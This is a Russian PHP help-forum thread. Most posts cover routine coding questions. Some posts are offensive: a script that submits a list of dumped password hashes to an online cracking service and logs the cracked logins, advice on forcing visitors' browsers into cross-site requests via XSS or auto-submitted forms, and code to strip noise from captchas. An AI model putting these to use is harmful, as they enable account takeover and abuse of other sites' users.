Ну у тебя же есть событие onkeypress, вот и смотри в JS'e какую кнопку нажали. И если символ тебя не устраивает убирай его из поля...
Ну у тебя же есть событие onkeypress, вот и смотри в JS'e какую кнопку нажали. И если символ тебя не устраивает убирай его из поля...
хм, можно поподробней как-то?
olishort
07.05.2010, 20:33
<td><b> Сумма </b><b style="color: rgb(160, 0, 0);">(Сколько бонусов поменять на золото)</b></td>
<td><input name="sum" size="8" maxlength="3" onkeypress="recalcsum(this.value)" onkeyup="recalcsum(this.value)" onkeydown="recalcsum(this.value)"
onclick="recalcsum(this.value)" onchange="recalcsum(this.value)" type="text"></td>
</tr>
<tr height="25">
<td><b> Вы получите (золотых)</b></td>
<td><b><span id="receiv">0.00</span></b></td>
</tr>
Вот код, мне надо в поле ввода, после "Сумма (Сколько бонусов поменять на золото)" , поставил " maxlength="3" ,т.е значение 3 цифры или буквы ,но мне надо поставить значения цифр ограничить ,чтоб ставилось от 0 до 500 ,символы неважно.
ЗЫ заранее спасибо
не заморачивайся с голым js, используй jquery
кому не сложно, сделайте код как надо или дайте js и куда его вставлять, с меня +
Проблема с рег. выражн.
делаю так
$source = 'dasdasdkjasjk asldkas;ldlasd askdjaslkdjasl lasdkj;lasdjl www10.subdomain.com jasdhkjsahd лофырвлофырв лофыр';
preg_match_all('#(www[0-9]{1,2}\.subdomain\.com)#',$source,$m);
echo $m;
хочу достать 'www10.subdomain.com'
Но ничего не получается, хотя The Regex Coach - говорит что все нормально.
Подскажите.
Привет всем !
Интересует такая вещь , где мне взять названия всех функций и их значения в пхп?
phpdreamer
07.05.2010, 23:57
Проблема с рег. выражн.
делаю так
$source = 'dasdasdkjasjk asldkas;ldlasd askdjaslkdjasl lasdkj;lasdjl www10.subdomain.com jasdhkjsahd лофырвлофырв лофыр';
preg_match_all('#(www[0-9]{1,2}\.subdomain\.com)#',$source,$m);
echo $m;
хочу достать 'www10.subdomain.com'
Но ничего не получается, хотя The Regex Coach - говорит что все нормально.
Подскажите.
$source = 'dasdasdkjasjk asldkas;ldlasd askdjaslkdjasl lasdkj;lasdjl www10.subdomain.com jasdhkjsahd лофырвлофырв лофыр';
preg_match_all('/www[0-9]{1,2}.subdomain.com/',$source,$m);
print_r( $m[0]);
Gray_Wolf
07.05.2010, 23:58
Привет всем !
Интересует такая вещь , где мне взять названия всех функций и их значения в пхп?
Начинай отсюда: http://ru.php.net/manual/en/funcref.php
Привет всем !
Интересует такая вещь , где мне взять названия всех функций и их значения в пхп?
http://www.php.su/functions/?page=abc
Смотри
phpdreamer
07.05.2010, 23:59
Привет всем !
Интересует такая вещь , где мне взять названия всех функций и их значения в пхп?
http://php.su/functions/
restart_05
08.05.2010, 19:48
Есть таблица со строкой name. В ней находятся числа через запятую 1,5,54,234 и т.д. Как средствами php можно удалить число 54 из данной строки.
Есть таблица со строкой name. В ней находятся числа через запятую 1,5,54,234 и т.д. Как средствами php можно удалить число 54 из данной строки.
$string = '1,2,3,4,5,5,6,7,7,777,76';
$need = 777;
$return = str_replace($need.',','',$str);
echo $return;
restart_05
08.05.2010, 20:07
спс
Добрый вечер
http://s58.radikal.ru/i159/1005/46/2442bd3a66d4.png
какой будет правильный ответ, а то что то я запутался :o
Или может быть, все 3 варианта не правильных ?
Хотя, да, скорее всего 3 вариант, просто меня в нём смущало, то , что как можно символ увеличить на 1
$a = "b";
$a++;
echo $a; //выведет c
$a = "@";
$a++;
echo $a; // Выведет @ (не изменится)
Спасибо мелкий :)
Это опять я :o
Поставил на windos 7 appserv
Пробую запустить PHP CLI, но перед этим я закинул в папку system32 файл
php_mbstring.dll.
В общем появляется такая ошибка
http://s57.radikal.ru/i155/1005/67/1cf7d94ab5a7.png
Может быть кто встречался с такой же проблемой?
restart_05
09.05.2010, 20:28
$string = '1,2,3,4,5,5,6,7,7,777,76';
$need = 777;
$return = str_replace($need.',','',$str);
echo $return;
m0Hze, а вот как удалить последний символ
$return = str_replace(','.$need,'',$str);
Пробовал так, чет не хочет удалять
мб
$return = str_replace(','.$need,'',$string);
restart_05
09.05.2010, 20:33
Ну эт самом собой )), удаляет если 2 символа 23,32, а уже если 23,32,13 не удаляет :(
$str= '1,2,3,4,5,5,6,7,7,777,76';
$need = 777;
$array = explode(',', $str);
$size = sizeof($array);
$minus = 0;
for($i=0; $i<$size; $i++)
{
if($need == $array[$i])
{
unset($array[$i]);
$minus--;
}
else if($minus < 0)
$array[$i+$minus] = $array[$i];
}
$return = implode(',', $array);
echo $return;
restart_05
09.05.2010, 20:59
Не работает
Работает, но немного криво. Так лучше:
<?php
$str= '1,2,3,4,5,5,6,7,7,777,76';
$need = 777;
$array = explode(',', $str);
$size = sizeof($array);
$minus = 0;
for($i=0; $i<$size; $i++)
{
if($need == $array[$i])
{
unset($array[$i]);
$minus--;
}
else if($minus < 0)
{
$array[$i+$minus] = $array[$i];
unset($array[$i]);
}
}
$return = implode(',', $array);
echo $return;
?>
да я скрипт m0Hze тоже работает
restart_05
09.05.2010, 21:23
m0Hze работает я не отрицаю, но вот последние чет не удаляет..
restart_05
09.05.2010, 22:19
Поправил :) Спасибо всем!
SeNaP Вообще-то второй вариант не выведет никогда строку хелло. Переменная $a не может быть больше либо равна 1 и при этом выполнится !isset()
roxblnfk
10.05.2010, 02:56
ну вы даёте :)
> Есть таблица со строкой name. В ней находятся числа через запятую 1,5,54,234 и т.д. Как средствами php можно удалить число 54 из данной строки.
m0Hze, кодом
$return = str_replace($need.',','',$str);
ты можешь удалить что надо + обрезать похожее на него, например в строке $str='1,2,3,12,13,23'; надо удалить $need='2';
В итоге будет 1,3,113,23 (откуда тут 113 оО? и почему вместо пяти чисел тут их четыре..)
Ну и, как было замечено, число в конце строки не удаляет.
WNZRS, ты вобще извращенец :) перевести строку в массив уже другая методика,
но зачем перебирать массив и выравнивать ключи вручную, когда есть стандарные функции?
зачем делать чтото типа
$array[$i+$minus] = $array[$i]; , если после всех операций по удалению можно заюзать, например, array_values() и взять индексный массив
(только зачем это надо, если implode() работает с ассоциативными массивами?)
Можно исправить скрипт m0Hze, например, изменив так:
было: $return = str_replace($need.',','',$str);
стало: $return = substr(str_replace(','.$need.',',',',','.$str.',') ,1,-1);
(но в учёт того, что я не знаю, как работает str_replace на низком уровне, а разбираться лень, то для гарантии того, что будут вырезаны ВСЕ требуемые числа, даже записанные подряд, можно использовать функцию два раза сразу)
$return = substr(str_replace(','.$need.',',',',str_replace(' ,'.$need.',',',',','.$str.',')),1,-1);
(тут в кавычках 2 пробела сами появляются, их убить надо :) )
или $return = substr(str_replace(array(','.$need.',',','.$need.' ,'),',',','.$str.','),1,-1);
А так можно?
<?php
$string = "1,5,154,32,123,132";
$need = "32";
echo preg_replace("#(^\d|\,|^)".$need."(\,|^|^\d)#",",",$string);
?>
roxblnfk
10.05.2010, 13:33
LStr1ke, не знаю, зачем ты полез в регулярки, это же всё медленнее работает.
Но, если следовать твоим суждениям унифицировать алгоритм под любой разделитель, то проще написать в регулярках.
Допустим. Даже не смотря на кривость того, что если разделитель будет не запятой, то при замене числа на его месте появится именно запятая :)
Признаюсь, я плохо шарю в регулярках, поэтому, если это твой код, задам тебе вопрос:
из твоей регулярки "#(^\d|\,|^)".$need."(\,|^|^\d)#"
что означает |^ во второй скобке? т.е. неэкранированный символ ^ в начале выбора без дальнейших символов.. (в первой скобке такой вариант чудом помогает убить нужное число в начале строки :) )
в первых скобках у тебя ^\d для чего? :) возьми строку $string = "132,1,5,154,32,123,32"; и эта последовательность уничтожит 132
В конце строки число 32 твоим алгоритмом не убивается.
На мой взгляд, регулярки надо использовать только тогда, когда без них никак (т.е. можно, но не выгодно ни по времени коддинга ни по производительности)
Вобщем, вот мой вариант, где разделяющие символы - любые, кроме десятичных цифр, и заменено оно будет на левый разделитель от данного числа
echo substr(preg_replace("/(\D)".intval($need)."(\D)/","\${1}",'®'.$string."\n"),1,-1);
И опять же, функцию надо будет взять не один раз, т.к. строку $string = "1^5^154^32^32^123^132"; полностью от числел 32 она не очистит за 1 раз
(либо править регулярку на подобные нонсенсы, либо брать функцию дважды, а то и трижды :) вобщем по циклу через while... но это если число более 3х раз подряд в строке, тут проще разбить на массив)
так на строку $string = "32б1^5-154^32 32,32х32 32=32_32!32й123^132ы32"; нужно применить функцию 4 раза :)
остался ещё вариант перебора строки по байтам, этого ещё ни кто не предложил :) хотя самый эффективный метод, имхо
существует алгоритм, который добавляет в переменную данные:
$error .= 'Вы уже полчили бонус за голос за '.$time.'<br/>';
после добавление всё это дело выводится через echo и получается следушая картина:Вы уже полчили бонус за голос за 2010-05-10
Вы уже полчили бонус за голос за 2010-05-09
Вы уже полчили бонус за голос за 2010-05-08
а теперь вопрос как мне вывести только 1ую надпись?Вы уже полчили бонус за голос за 2010-05-10
привет! мне нужно сделать, чтобы когда человек заходил на страницу, отправлялся бы запрос на другой сервер, и действие на том сервере приосходило бы от его имени. например, в случае с ГЕТом, можно добавить ссылку на изображение вида "vk.com/change_settings.php?name=lol". можно как-то так же просто сделать это через ПОСТ, будет ли CURL работать в данном случае (ведь вроде как тогда запрос будет идти от сервера, а не от пользователя)?
wildshaman
10.05.2010, 15:58
Курл не пройдет.
Обычный гет тоже не пройдет, везде нужны хеши.
Надо иметь пассивную XSS и написать скрипт, который сам будет выдирать хеш, подставлять и делать запрос - все через пассивку.
там нету хэша, я не про контакт, просто для примера.
есть вариант сделать флешку, впринципе просто, но слишком палевно
там нету хэша, я не про контакт, просто для примера.
есть вариант сделать флешку, впринципе просто, но слишком палевно
блин ты спрашиваеш про обыкновенное csrf здесьб почитай что умные люди пишут)))) http://www.inattack.ru/article/552.html
mailbrush
10.05.2010, 17:02
zavra, попробуй создай форму с экшном куда тебе нужно. И в событии onload страницы делай сабмит этой формы...
foxxx1234
10.05.2010, 22:54
В общем есть скрипт который копирует альбомы из группы вк. Проблема в том, что копирует он только первые 20 фотографий из каждого альбома.
Помогите подправить чтобы копировал весь альбом.
Вот ссылка на сам скрипт.
http://slil.ru/29109993
Почему вот этот код в Ubuntu через php-cli выполняется нормально
<?php
set_time_limit(0);
$file = file("basewebstream.txt");
$fp = fopen("result.txt","a");
function chek($exp){
global $expl;
global $i;
global $fp;
global $s;
$ch = curl_init("http://crackfor.me");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Извените но я бот :)");
$headers = array
(
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*;q=0.8',
'Accept-Language: ru,en-us;q=0.7,en;q=0.3',
'Accept-Encoding: deflate',
'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'
);
curl_setopt($ch, CURLOPT_HTTPHEADER,$headers);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'hash='.$exp.'&act=find');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
preg_match('#<b>(.*)</b>#iU',$result,$res[$i]);
if(!preg_match("#-#i",$res[$i][1])){
print $expl[2].":".$res[$i][1]."\n";
print "Всего Гудов:".$s."\n";
$s++;
fwrite($fp,$expl[2].":".$res[$i][1]."\n");
}
curl_close($ch);
}
/////////////////////////////////////
$i = 0;
$r = 0;
$s = 1;
foreach($file as $pass){
$expl = explode(":",$pass);
$expl[2] = str_replace("\n","",$expl[2]);
$expl[2] = str_replace("\r","",$expl[2]);
$expl[2] = str_replace("\t","",$expl[2]);
chek($expl[1]);
$i++;
}
fclose($fp);
?>
А в Windows7 через php-cli просто не хочет.
Пробую запускаю
C:\Users\Senap\>php pars.php
И возвращает
C:\Users\Senap\>
И result.txt пустой
то время как
<?php echo "TEST CLI"; ?>
Выодит TEST CLI
Т.е. php-cli работает, а скрипт запускаться не чохет :(
А в Windows7 через php-cli просто не хочет.
курл на винде установлен?
SeNaP, а в Windows 7 в php расширение curl стоит/включено? и включен ли вывод ошибок в php.ini? (странно, что в таком случае нет ошибок даже)..
http://localhost/tes.php
<?php
$ch = curl_init('http://php.su');
curl_exec($ch); // выполняем запрос curl - обращаемся к сервера php.su
curl_close($ch);
?>
Работет.
И ошибки тоже выводятся.
:confused:
manningaon
11.05.2010, 20:26
есть ли скрипт, который сайт со статикой поисковым роботам давай информацию что сайт динамический
programming
11.05.2010, 20:35
Каким образом можно к определённой странице запретить доступ определённому ip, который выполнил некоторые действия? Точнее не запретить, а просто выводить некое сообщение.
Запись в бд ip и затем извлечение от туда не катит.
2 SeNaP
в скрипте set_time_limit(0) убери, и увидишь в чем трабл
2 programming
ну если этакая защита не критична, то как вариант при заходе на страницу присваивать куку, и проверять если она есть то ..., а если нет - то...
<?php
if(isset($_COOKIE['ban'])) die('Сори, вы тут уже были');
else setcookie('ban', true, time()+3600); //1 час
....
?>
ну а если критично то записывать ип в файл/бд, и проверять каждый раз при заходе на страницу.
$a = 2; // integer
$a = '2'; - тоже integer?
<?php
$a = 2;
var_dump($a);
$a = '2';
var_dump($a);
?>
результат
int(2)
string(1) "2"
=\ мб попробуешь в начале на php.net искать, а потом тут?
foxxx1234
11.05.2010, 22:20
Подскажите как сделать чтобы этот скрипт
$ret=$s->get("/album-{$gid}_{$albumid}",'st=$st',$cook,"http://vkontakte.ru/club$gid");
$ret=$ret[1];
preg_match_all('#href="/photo-.+_(.*?)">#',$ret,$ph);
preg_match_all('#st=(\d+)#',$ret,$st);
if(empty($ph[1]))
{
print_flush('Альбом пуст.');
}
else
{
for($i=0,$cnt=count($ph[1]);$i<$cnt;$i++)
{
fputs($text,$descr[1][$i]);
print_flush('Найдено фото id='.$ph[1][$i].', получение...',0);
if(in_array("group/$gid/$alb/{$gid}_{$ph[1][$i]}.jpg",$photos))
{
print_flush('Такое фото уже сохранено.');
continue;
}
$photos[]="{$gid}_{$ph[1][$i]}.jpg";
$ret=$s->get("/photo-{$gid}_{$ph[1][$i]}",'',$cook,"http://vkontakte.ru/club$gid");
if(!preg_match('/id="myphotolink"><img src="http:\/\/(.+)" id/isU',$ret[1],$fm))
{
print_flush('Фото не найдено.');
continue;
}
preg_match('/(.+)\/(.+)$/isU',$fm[1],$faddr);
$s2=new websock($faddr[1],80,0);
$ret=$s2->get('/'.$faddr[2],'',$cook,"http://vkontakte.ru/");
unset($s2);
$f2=fopen("group/$gid/$alb/{$gid}_{$ph[1][$i]}.jpg","w");
if(!$f2)
{
print_flush('Не удалось создать файл.');
}
else
{
fputs($f2,$ret[1]);
fclose($f2);
}
print_flush('Готово');
}
}
print_flush('Список фотографий сохранен.');
Повторялся например 5 раз и $st увеличивалас на 20
phpdreamer
11.05.2010, 22:36
$st это многомерный массив с результатами выборки по регулярному выражению...
как ты его собираешься увеличивать?
$a = 2; // integer
$a = '2'; - тоже integer?
нет это уже string!
почитай про setype();
Пример!
$a = '1'; //string
setype($a, 'integer'); //перевод в integer
real_kas
14.05.2010, 14:49
А возможно ли сопоставить дни недель так, чтобы к примеру дни начиная с первого сентября (с 1 сен до субб (включительно)) были например верхней неделей, а со следующего понедельника по субботу - нижней неделей. И так далее, до мая.
Как сопоставить все дни, исходя из начальной даты (первого сентября)?
Есть ли у кого идеи?
real_kas
14.05.2010, 17:22
Пришлось коноё**ться через одно место типа:
<?php
$year = date("Y");
$month = date("M");
//$day= date("d");
//echo $month;
if($year == 2010) {
if($month == May) {
if ($day == 1 || $day >= 10 && $day <= 15 || $day >= 24 && $day <= 29) echo "<h1>B</h1>";
if ($day >= 3 && $day <= 8 || $day >= 17 && $day <= 22 || $day == 31) echo "<h1>H</h1>";
}
if($month == Jun) {
if ($day >= 1 && $day <= 5 || $day >= 14 && $day <= 19 || $day >= 28 && $day <= 30) echo "<h1>H</h1>";
if ($day >= 7 && $day <= 12 || $day >= 21 && $day <= 26) echo "<h1>B</h1>";
}
if($month == Sep) {
if ($day >= 1 && $day <= 4 || $day >= 13 && $day <= 18 || $day >= 27 && $day <= 30) echo "<h1>B</h1>";
if ($day >= 6 && $day <= 11 || $day >= 20 && $day <= 25) echo "<h1>H</h1>";
}
if($month == Oct) {
if ($day >= 1 && $day <= 2 || $day >= 11 && $day <= 16 || $day >= 25 && $day <= 30) echo "<h1>B</h1>";
if ($day >= 4 && $day <= 9 || $day >= 18 && $day <= 23) echo "<h1>H</h1>";
}
if($month == Nov) {
if ($day >= 1 && $day <= 6 || $day >= 15 && $day <= 20|| $day >= 29 && $day <= 30) echo "<h1>H</h1>";
if ($day >= 8 && $day <= 13 || $day >= 22 && $day <= 27) echo "<h1>B</h1>";
}
if($month == Dec) {
if ($day >= 1 && $day <= 4 || $day >= 13 && $day <= 18|| $day >= 27 && $day <= 31) echo "<h1>H</h1>";
if ($day >= 6 && $day <= 11 || $day >= 22 && $day <= 27) echo "<h1>B</h1>";
}
}//end 2010
switch($page){
case 'trtrtr':
print_r($array);
break;
case 'ususus':
for($i = 0; $i<=2; $i++){
$array[$i] = 'test';
}
break;
}
В page=ususus
Заполняется массив.
А как потом обратиться из page=trtrtr
к массиву $array ?
Подскажите пожалуйста
не совсем понял, что ты подразумеваешь, под обращением к массиву? print_r это и есть обращение =\
<?php
switch($page){
case 'trtrtr':
foreach($array as $key=>$value)
echo $key.") ".$value."<br>\n";
break;
case 'ususus':
$array = array_fill(0,2, 'test');
break;
}
?>
Проблема в том, что массив как бэ пустой в case 'trtrtr':
Warning: Invalid argument supplied for foreach() in
Естественно если $page меняется при GET/POST запросе то $array будет пуст.
Если тебе надо что бы увидеть его можно было только после просмотра ususus
то для этого есть куки/сессии. Представим что нам плевать на юзабилити, и вообще мы больные люди, будет примерно так:
<?php
session_start();
$array = array_fill(0, 2, 'test');
...
switch($page) {
case 'trtrtr':
if($_SESSION['can_look'] == 1) print_r($array);
else echo "не не, ты с начало ususus посмотри";
break;
case 'ususus':
$_SESSION['can_look'] = 1;
break;
}
?>
function num($n,$val){
$i=0;
$n=str_split($n);
$count=count($n);
$col=$count-$val;
while($count!=$col){
$a[$i]=$n[$count-1];$count--;$i++;
}
array_reverse($a);
foreach($a as $v) $num.=$v;
return $num;
}
$n=123456;
$val=2;
функция вернет 56.
ну я думаю смысл понятен. возвращает $val строк с конца $n.
можно ли это было сделать рациональней/короче/лучше?
$n=123456;
$val=2;
print substr($n, -$val);
Как, с помощью gd library, закрасить чёрным цветом определённый участок изображения ? (например нижний правый угол)
Joker-jar
15.05.2010, 22:58
geforce, если участок прямоугольный, то imagefilledrectangle (http://php.net/imagefilledrectangle)
ZenstatioN всегда сохранять дату последнего логина и делать выборку по дате
#Wolf# для текста - написал Kaimi, для чисел:
$n=123456;
$val=2;
return $n % pow(10, $val);
Исправлено, спасибо roxblnfk
Как, с помощью gd library, закрасить чёрным цветом определённый участок изображения ? (например нижний правый угол)
$im = imagecreatetruecolor($width, $heigth);
$im1 = imagecreatefromjpeg('картинка с чёрным.jpg');
imagecopy($im,$im1, кординаты в каком месте её лепить);
Joker-jar,geforce спасибо :)
Ещё вопрос. Есть уже готовый "велосипед" для распознавания текста (простой белый текст, на чёрном фоне) ?
roxblnfk
16.05.2010, 11:43
ZenstatioN всегда сохранять дату последнего логина и делать выборку по дате
#Wolf# для текста - написал Kaimi, для чисел:
$n=123456;
$val=2;
return $n % ($val*10);
надо 10 не умножать на число а в степень возводить
$n=123456;
$val=2;
echo $n % pow(10,$val);
Народ помогите плз убрать с капчи шум... http://www.image123.net/thumbs/20100516/49egv6cuqcac.jpg
roxblnfk
16.05.2010, 14:57
KrafT, почему тут пишешь? тебе это на php надо, используя gd?
Как ты себе это представляешь?
Вот мой вариант:
1. если решетка накладывается по одному и тому же закону (статична на всех капчах), то её можно залить цветом фона, при этом символы будут изрешечены уже белой решеткой :)
можно по циклу залить белые пиксели, которые с >=(5~6) сторон (из 8) окружены чёрными, тем самым местами докрасить символы.
2. если шум всегда разный, то нужно уничтожать [не белые] пиксели, у которых в любом из направлений нету "соседей" а после этого уничтожать малые кучности.
вобщем, как не крути, подобное снуля писать за спасибо ни кто не будет, имхо
Народ помогите плз убрать с капчи шум... http://www.image123.net/thumbs/20100516/49egv6cuqcac.jpg
покажи код этой капчи?
wildshaman
16.05.2010, 16:13
Да, пкажи, откуда капча, стало интересно
KrafT, почему тут пишешь? тебе это на php надо, используя gd?
Как ты себе это представляешь?
Вот мой вариант:
1. если решетка накладывается по одному и тому же закону (статична на всех капчах), то её можно залить цветом фона, при этом символы будут изрешечены уже белой решеткой :)
можно по циклу залить белые пиксели, которые с >=(5~6) сторон (из 8) окружены чёрными, тем самым местами докрасить символы.
2. если шум всегда разный, то нужно уничтожать [не белые] пиксели, у которых в любом из направлений нету "соседей" а после этого уничтожать малые кучности.
вобщем, как не крути, подобное снуля писать за спасибо ни кто не будет, имхо
Cпасибо за инфу... да полосы меняются. Это а можэте написать пример тип чтоб он фсе цвета которые я назначил он их перекрашывал в чорный.. прост седня я второй день этим занимаюсь и ешё мало чо понимаю Подскажыте как дапустем зделать допустем по коардинатам 1 . 1 вот я вол цвет и он в етом пиксели искал близко указаный мною цвет тойсть не именно тот а он можэт отличатса или из списка цветов искал цвета в том пиксели ...
покажи код этой капчи?
Сори немогу =[[
roxblnfk
16.05.2010, 16:49
Есть вариант перебрать картинку по пикселям и закрасить все пиксели, которые не удовлетворяют условию. Например, если красный, зеленый и синий цвета меньше 128 (строка условия if($r<128 || $g<128 || $b<128)…):
<?php
header("Content-type: image/gif");
$im = ImageCreateFromJpeg("kartinka.jpg");
$W=imagesx($im);
$H=imagesy($im);
$black=imagecolorallocate($im,0,0,0);
for($i=0;$i<$W;$i++){
for($j=0;$j<$H;$j++){
$rgb = ImageColorAt($im, $i, $j);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;
if($r<128 || $g<128 || $b<128) imagesetpixel($im,$i,$j,$black);
}
}
imagegif($im);
imagedestroy($im);
?>
Есть вариант перебрать картинку по пикселям и закрасить все пиксели, которые не удовлетворяют условию. Например, если красный, зеленый и синий цвета меньше 128 (строка условия if($r<128 || $g<128 || $b<128)…):
<?php
header("Content-type: image/gif");
$im = ImageCreateFromJpeg("kartinka.jpg");
$W=imagesx($im);
$H=imagesy($im);
$black=imagecolorallocate($im,0,0,0);
for($i=0;$i<$W;$i++){
for($j=0;$j<$H;$j++){
$rgb = ImageColorAt($im, $i, $j);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;
if($r<128 || $g<128 || $b<128) imagesetpixel($im,$i,$j,$black);
}
}
imagegif($im);
imagedestroy($im);
?>
Спасибо :) ++
wildshaman
16.05.2010, 17:37
Я тут тоже поизвращался...
<?php
function getrgb($var)
{
$r = ($var >> 16) & 0xFF;
$g = ($var >> 8) & 0xFF;
$b = $var & 0xFF;
return $r+$g+$b;
}
$src = imagecreatefromjpeg("1.jpg");
$dest = imagecreatefromgif('2.gif');
$best=600;
$sm=3;
$width=imagesx($src);
$height=imagesy($src);
for ($w=0; $w<$width; $w++)
for ($h=0; $h<$height; $h++)
{
$rgb = imagecolorat($src, $w, $h);
$rgb_t = imagecolorat($src, $w, $h+$sm);
$rgb_b = imagecolorat($src, $w, $h-$sm);
$rgb_l = imagecolorat($src, $w-$sm, $h);
$rgb_r = imagecolorat($src, $w+$sm, $h);
if ((getrgb($rgb)<$best) and (getrgb($rgb_b)<$best) and (getrgb($rgb_t)<$best) and (getrgb($rgb_l)<$best))
imagecopymerge($dest, $src, $w, $h, $w, $h, 1, 1, 100);
}
header('Content-Type: image/gif');
imagegif($dest);
?>
Где 2.gif - существующая пикча размером с капчу
$sm - сколько близежащих пкселей заодно проверяется (1-4 лучше)
$best - цвет (300-900 тести сам)
Получается что-то вроде
http://img684.imageshack.us/img684/6337/123php.gif
Я тут тоже поизвращался...
<?php
function getrgb($var)
{
$r = ($var >> 16) & 0xFF;
$g = ($var >> 8) & 0xFF;
$b = $var & 0xFF;
return $r+$g+$b;
}
$src = imagecreatefromjpeg("1.jpg");
$dest = imagecreatefromgif('2.gif');
$best=600;
$sm=3;
$width=imagesx($src);
$height=imagesy($src);
for ($w=0; $w<$width; $w++)
for ($h=0; $h<$height; $h++)
{
$rgb = imagecolorat($src, $w, $h);
$rgb_t = imagecolorat($src, $w, $h+$sm);
$rgb_b = imagecolorat($src, $w, $h-$sm);
$rgb_l = imagecolorat($src, $w-$sm, $h);
$rgb_r = imagecolorat($src, $w+$sm, $h);
if ((getrgb($rgb)<$best) and (getrgb($rgb_b)<$best) and (getrgb($rgb_t)<$best) and (getrgb($rgb_l)<$best))
imagecopymerge($dest, $src, $w, $h, $w, $h, 1, 1, 100);
}
header('Content-Type: image/gif');
imagegif($dest);
?>
Где 2.gif - существующая пикча размером с капчу
$sm - сколько близежащих пкселей заодно проверяется (1-4 лучше)
$best - цвет (300-900 тести сам)
Получается что-то вроде
http://img684.imageshack.us/img684/6337/123php.gif
Cпасибки :) ++
покажи код этой капчи?
Шум всегда идет под одним углом я так понимаю? Тогда просто в циклах проходимся по задонному углу, убираем группы пикселей, если рядом ниже со сдвигом(прав-лево) присутствует такой-же ромб. И так по всей плоскости. Ну это первое что в голову пришло :)
Доброго времени. у меня небольшой вопрос, по постингу в phpBB , авторизацию вроде бы сделал, только надо разобраться с куками, далее встаёт уже вопрос поста, т.е. если я знаю тему топика и мне надо добавить пост , как быть?
HttpAnalyzerStdV3 смотрел что там получается, но там на переменные мало что похоже, поэтому хз какие параметры передавать форуму.
Хелп плз, мб подскажите скрипты или кто-то сталкивался с подобной проблемой
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot